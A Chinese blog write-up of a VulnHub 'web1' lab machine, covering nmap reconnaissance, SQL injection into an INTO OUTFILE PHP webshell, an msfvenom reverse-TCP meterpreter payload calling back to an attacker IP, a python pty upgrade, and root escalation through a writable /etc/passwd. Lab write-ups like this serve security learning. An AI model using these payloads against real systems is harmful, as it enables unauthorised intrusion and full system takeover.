vulnhub web1靶机练习

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、nmap收集

二、上传并获取shell

 三、提权

总结


前言

提示:这里可以添加本文要记录的大概内容:

国庆放假有点颓,去vulnhub下了个靶机玩玩。


提示:以下是本篇文章正文内容,下面案例可供参考

一、nmap收集

装好了靶机后,一如既往的不知道密码,要通过漏洞等入侵提权找到flag,先用nmap扫描一波吧。

nmap -A -v -sn 192.168.23.0/24

 显示靶机开放了80端口,linux系统,并且有robots.txt中提示有两个目录,直接访问两个/m3diNf0/、/se3reTdir777/uploads/目录发现都是403,猜测/se3reTdir777/uploads/应该是可以进行文件上传的,再访问了/se3reTdir777/目录,发现可以进行查询。

尝试了下sql注入,发现可以进行注入,union联合注入和报错注入都可以,可以直接上sqlmap。

 再对网站的目录进行扫描一波,看看有没有什么发现。

 发现还有个info.php,访问看看,显示的是phpinfo();并且里面显示了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/。

 

二、上传并获取shell

爆出了两个表systemUser和User表,systemUser表中的password用的base64加密,解密后是 FakeUserPassw0rd、MyEvilPass_f908sdaf9_sa、N0tThis0neAls0,但是好像没啥用。前面目录中存在uploads,应该可以进行文件上传获取shell。

 感觉直接使用sqlmap的--file-write和--file-dest,或者直接手动进行上传都可以,能上传的地方应该是/se3reTdir777/uploads/,原理可以是通过into outfile将内容导入某个文件或Lines terminated by或Lines starting by语句将语句拼接到文件的终止位或起始位。当然要某些配置开启才可以。

  1. secure_file_priv="c:/…"被注释掉或者是web路径

  2. php.ini中的get_magic_quotes_gpc()函数未开启

    其中secure_file_priv有三种情况

    1. 空,表示导入导出没有任何限制
    2. 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
    3. null,禁止导入导出

    在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限。

-1' union select 1,2,'<?php @eval($_POST[123]);?>' into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/a.php"#

 或者通过sqlmap直接传也可以。

上传成功后,直接利用蚁剑进行连接,连接成功,为了更好的利用,利用metasploit再生成一个PHP后门,直接生成linux后门被权限限制了,所以生成PHP后门然后利用python反弹交互式shell。

msfvenom -p  php/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.23.128 -f  raw>/root/shell.php,然后通蚁剑上传到目录,运行PHP文件,反弹shell成功。

 

但是此时的shell不是交互式的,很多命令都运行不了,因为缺少了前后文环境,利用python生成虚拟终端。

 python -c 'import pty; pty.spawn("/bin/bash")'

 pty(伪终端,虚拟终端):但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty).

pty.spawn('bin/bash')产生一个进程,并将其控制终端连接到bin/bash

 三、提权

获取到了终端后用户权限是www-data,权限比较低,需要提升权限,最好提升到root。

查看能否利用SUID的文件或者命令提权。

find / -user root -perm -4000 -exec ls -l {} \; 查找系统上SUID权限的文件

 会不会存在pkexec提权漏洞,但是好像并不行,于是查看了下/etc/passwd文件,发现可以编辑,于是尝试增加写入一个root权限的用户。

 先对密码进行openssl加密

-1表示使用md5加密,-salt表示自定义盐,生成一个hacker用户,密码为123456

 

生成一个hacker用户,可登录,UID属于0,root级别权限,使用shell为bin/bash,一般用户的密码用加密方式存放于/etc/shadow文件中。

文件规则:用户名:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:shell

最后通过find命令查找得到flag。

 


总结

花了挺多的时间,因为靶机sql注入那里无端端岩机了,没发现,使用sqlmap写入文件获取shell的时候一直显示404Not found,利用wireshark也显示了404Not Found,自己挺郁闷的,最后重启了靶机才成功,这次也是重复搞了下sqlmap的一些使用,毕竟忘的差不多了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值